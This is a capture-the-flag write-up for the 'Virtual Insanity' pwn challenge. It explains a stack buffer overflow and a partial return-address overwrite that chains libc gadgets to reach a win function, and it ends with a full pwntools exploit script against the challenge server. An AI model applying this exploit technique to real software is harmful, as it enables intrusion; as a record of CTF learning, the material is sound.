Virtual Insanity Writeup
The binary
We receive a binary with full protections lacking only canary
Checking the source code we can see the binary is vulnerable to BOF and we need to just perform a ret2win to the win function.
int win()
{
char *v0; // rax
puts("IMPOSSIBLE! GRAHHHHHHHHHH");
v0 = getenv("FLAG");
return puts(v0);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("You pathetic pwners are worthless without your precious leaks!!!");
read(0, buf, 0x50uLL);
return 0;
}
Should be easy right? Just relative overwrite the last 2 bytes of the ret address and get to win.
The challenge
Checking where we are returned after the main call we realise that we are sent to the libc directly instead of the binary.
Well we definitely can’t overwrite with win directly, so what now?
We still have an overwrite relative to the libc so let’s see what gadgets we can access.
The address we are returned to is at offset 0x29d90 from the libc base.
With this in mind using our relative overwrite we can use any gadget in the range 0x20000 - 0x30000 from the libc.
The search
Firstly, I saved each register contained after the main function ended so I could build a picture on what gadget I’m looking for.
We could see that r13 contained main and r14 another address from the binary, aside from that though the others didn’t seem useful.
I also saved what was in rsp as it may come in handy later, considering we have the 2 main addresses, one at rsp+0x8 and one at rsp+0x38
In addition, I checked what registers were clobbered by main as we couldn’t use those and they were pretty much every registers aside from the numbered ones r8,r9,….,r15.
A small rabbit hole I feel into was trying to control as many of those registers as possible, thinking it would help me and I even managed to place main in r9 using this gadget 2 times which shifts main further on the stack, places rsp+0x20 in r9 and returns to main using call r13.
0x0002f4bd: push 0; mov r9, [rsp+0x20]; mov rcx, [rsp+0x30]; mov rsi, [rsp+0x58]; mov rdi, [rsp+0x50]; call r13
But we had no gadgets to use r9 so now what?
The one
Trying to push 2 consecutive binary addresses on the stack, the first having to be main I had no success with the little amount of gadgets we had at our disposal.
Then it occurred to me that we might already have those very specific conditions already on the stack.
And we did! Looking back at the values in rsp we can see that at rsp+0x38 we have the main address and at rsp+0x40 another random binary address.
So how do we get them to rsp and rsp+0x8?
We needed a way to pop values from the stack and still return to main, luckily there was one gadget that did just this
0x00f4cd02: pop rax; mov rdi, [rsp+0x50]; call r13;
We can just call this until rsp+0x38 ends up on rsp, then do a ret and relative overwrite the last bytes of rsp+0x8 with those of the win address having a 1/16 chance to end up in win as we had to bruteforce the first nibble of the second LSB.
Exploit script
from pwn import *
context.log_level = 'debug'
context.binary = binary = './chall'
elf = ELF(binary)
host, port = 'virtual.ctf.theromanxpl0.it', 7011
def newp():
if args.REMOTE:
return remote(host, port)
return process(elf.path)
offset = 40
ret = b'A' * offset + b'\xb5\xfb'
pop_rax_call_r13 = b'A' * offset + b'\xcd\xf4'
win_overwrite = b'A' * offset + b'\xa9\x01'
p = newp()
p.sendafter(b'!!!',pop_rax_call_r13)
p.sendafter(b'!!!',pop_rax_call_r13)
p.sendafter(b'!!!',pop_rax_call_r13)
p.sendafter(b'!!!',pop_rax_call_r13)
p.sendafter(b'!!!',pop_rax_call_r13)
p.sendafter(b'!!!',pop_rax_call_r13)
p.sendafter(b'!!!',pop_rax_call_r13)
p.sendafter(b'!!!',ret)
p.sendafter(b'!!!',win_overwrite)
p.interactive()